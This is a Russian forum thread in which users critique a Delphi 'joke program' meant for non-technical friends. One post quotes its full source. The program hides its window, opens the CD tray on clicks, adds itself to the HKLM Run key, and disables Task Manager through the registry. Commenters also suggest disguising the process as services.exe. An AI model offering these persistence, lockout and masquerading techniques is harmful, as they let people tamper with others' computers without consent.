Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Оцените программу!!! Please!!! Программа требует оценки... 
:(
    Опции темы
FRAGNATIC
Дата 28.8.2005, 00:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


..::Свирепый Кодер::..
**


Профиль
Группа: Участник
Сообщений: 901
Регистрация: 17.10.2004
Где: ICQ

Репутация: нет
Всего: 11
Цитата
Ааа! Так мы тут собрались проектировать очередной супер-вирус! 

Ага ) а цель сего чуда открыть сиди-ром на заражёной тачке))))
не я просто к тому что это всётаки коректнее было бы назвать как-то подругому нежели скрытый режим)))
и ваще тема не в том русло пошла ) smile
поэтому просто оцениваем прогу
как я уже говорил если оставить цель проги такойже то всё ровно написана она не оч качествено много лишнего (форма и кнопки ваще хз зачем)
надобность проги тож нулевая)
Добавлено @ 00:39
на самом деле если автор хочет чёнить всётаки сделать для скрытия своей проги то я думаю ему каду лучше будет спользовать чёнить из предложеного Vadim999 )) тк возится со скрытием процеса я думаю заморается он ) а вот предложеный варинат с именем процеса который якобы не заверщается (не пробовал сам ща испытаю) думаю само то если пашет)
Добавлено @ 00:44
services.exe реально работает) не знал! Респект!
PM MAIL   Вверх
JohnnY
Дата 29.8.2005, 21:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 65
Регистрация: 20.8.2005
Где: Калининград

Репутация: нет
Всего: нет
Большое всем спасибо за оценку проги... smile
Приму всё к сведению особенно (services.exe smile)

Цитата(Vadim999 @ 28.8.2005, 00:12)
Так мы тут собрались проектировать очередной супер-вирус!

Просто проектируется "программа-шутка", не для программистов, а для нешарящих в компах... smile - для нескольких моих друзей...

Ещё раз всем спасибо что вы откликнулись...
PM MAIL WWW   Вверх
Akina
Дата 29.8.2005, 22:41 (ссылка) | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Советчик
****


Профиль
Группа: Модератор
Сообщений: 20581
Регистрация: 8.4.2004
Где: Зеленоград

Репутация: нет
Всего: 454
Цитата(JohnnY @ 29.8.2005, 22:32)
проектируется "программа-шутка", не для программистов, а для нешарящих в компах...

Этого дерьма всех мастей и размеров на серверах фри-софта как грязи... но так они хоть сделаны качественно, а не такое сырье как выше по тексту... может лучше не изобретать велосипед? или хотя бы держи его в сарае, покуда колеса квадратные...



--------------------
 О(б)суждение моих действий - в соответствующей теме, пожалуйста. Или в РМ. И высшая инстанция - Администрация форума.
PM MAIL WWW ICQ Jabber   Вверх
FRAGNATIC
Дата 29.8.2005, 23:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


..::Свирепый Кодер::..
**


Профиль
Группа: Участник
Сообщений: 901
Регистрация: 17.10.2004
Где: ICQ

Репутация: нет
Всего: 11
Цитата
Этого дерьма всех мастей и размеров на серверах фри-софта как грязи... но так они хоть сделаны качественно, а не такое сырье как выше по тексту... может лучше не изобретать велосипед? или хотя бы держи его в сарае, покуда колеса квадратные...

да лана те) Человек видно ток не давно занялся кодингом ) Пускай побалуется) хотя лучшебы чтонить полезное попробовал бы написать)
PM MAIL   Вверх
JohnnY
Дата 30.8.2005, 00:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 65
Регистрация: 20.8.2005
Где: Калининград

Репутация: нет
Всего: нет
Цитата(FRAGNATIC @ 29.8.2005, 23:45)
хотя лучшебы чтонить полезное попробовал бы написать

Что например? smile
PM MAIL WWW   Вверх
FRAGNATIC
Дата 30.8.2005, 00:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


..::Свирепый Кодер::..
**


Профиль
Группа: Участник
Сообщений: 901
Регистрация: 17.10.2004
Где: ICQ

Репутация: нет
Всего: 11
Цитата
Что например?

не серьёзный вопрос )
хотябы что-то что более сложное и полезное)
например какогонить ICQ бота
БД или ещё чёнить) блокнот какойнить или рисовалку для практики оч хорошо было бы)
PM MAIL   Вверх
TimeZero
Дата 30.11.2007, 20:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 1
Регистрация: 30.11.2007

Репутация: нет
Всего: нет
Цитата(JohnnY @ 25.8.2005,  02:59)
Я вот тут немножко подредактировал, хук не делал, а сделал чтоб "ALT+CTRL_DEL" не работало...Да и автозагрузку сделал...

Код

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, mmsystem, Registry;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Button1: TButton;
    Timer2: TTimer;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    procedure Timer1Timer(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);    
begin
  if (GetAsyncKeyState(1) = - 32767) then form1.Button1.Click;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
if (GetAsyncKeyState(2) = - 32767) then form1.Button2.Click;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=false;
form1.Button3.Click;
end;

procedure ChangeReg(StrName: ShortString; delete: boolean);
var
reg: TRegistry;
begin
Reg := nil;
try
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false);
if not delete then reg.WriteString(StrName, Application.ExeName)
else reg.DeleteValue(StrName);
reg.CloseKey;
reg.free;
except
if Assigned(Reg) then Reg.Free;
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
ChangeReg('AutoOpenCD',false);
end;

procedure DisableTaskMgr(bTF: Boolean);    
var
  reg: TRegistry;    
begin
  reg := TRegistry.Create;    
  reg.RootKey := HKEY_CURRENT_USER;
  reg.OpenKey('Software', True);
  reg.OpenKey('Microsoft', True);
  reg.OpenKey('Windows', True);
  reg.OpenKey('CurrentVersion', True);
  reg.OpenKey('Policies', True);
  reg.OpenKey('System', True);
  if bTF = True then
  begin
    reg.WriteString('DisableTaskMgr', '1');
  end
  else if bTF = False then
  begin
    reg.DeleteValue('DisableTaskMgr');
  end;
  reg.CloseKey;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
DisableTaskMgr(True);
end;

end.


А какой должен быть файл Unit1.dfm ??

Это сообщение отредактировал(а) TimeZero - 30.11.2007, 21:38
PM MAIL   Вверх
ivan219
  Дата 4.12.2007, 17:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1121
Регистрация: 19.11.2005
Где: Планета земля

Репутация: нет
Всего: 12
TimeZero, 
Код

   {Компоненты.}
    Timer1: TTimer; // Таймер
    Button1: TButton; // Кнопка
    Timer2: TTimer;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
   {События от компонентов.}
    procedure Timer1Timer(Sender: TObject); // Событие таймера
    procedure Button1Click(Sender: TObject); // Событие кнопки
    procedure Timer2Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);  // Событие формы
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);



--------------------
Мой первый сайт и моя первая программа!!!!!
PM MAIL ICQ   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Тестирование программ"
mr.Anderson

Правила должны соблюдаться всеми без исключения.

  • Темы, в которых будут обнаружены нарушения, будут закрыты или удалены.
  • К пользователям, многократно нарушившим правила, будут применены отдельные санкции.

Для тех, кто создаёт темы:

В данном разделе запрещается размещать программы, которые в той или иной степени могут принести вред потенциальному тестеру программы (например, трояны, вирусы и т.д.)

  • Публикуя ссылку на программу, обязательно проверьте её работоспособность.
  • ОБЯЗАТЕЛЬНО: напишите название программы, а главное - её описание и приведите хотя бы один скриншот. Скриншот по размерам не более 500х500 пикселов, для скриншотов большего размера приводите ссылки на них.
  • Программа, которую Вы даёте на тестирование, должна быть откомпилирована, так как не каждый является программистом, да и мало кто будет ради тестирования устанавливать соответствующий софт.

Для тех, кто тестирует:

Описывая результаты тестирования программы, указывайте тип и версию ОС, а также характеристики компьютера и прочую информацию, которая может повлиять на работоспособность.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, mr.Anderson.
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Разное тестирование | Следующая тема »

Подписаться на тему | Подписка на этот форум | Скачать/Распечатать тему


 




[ Время генерации скрипта: 0.0520 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
 По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.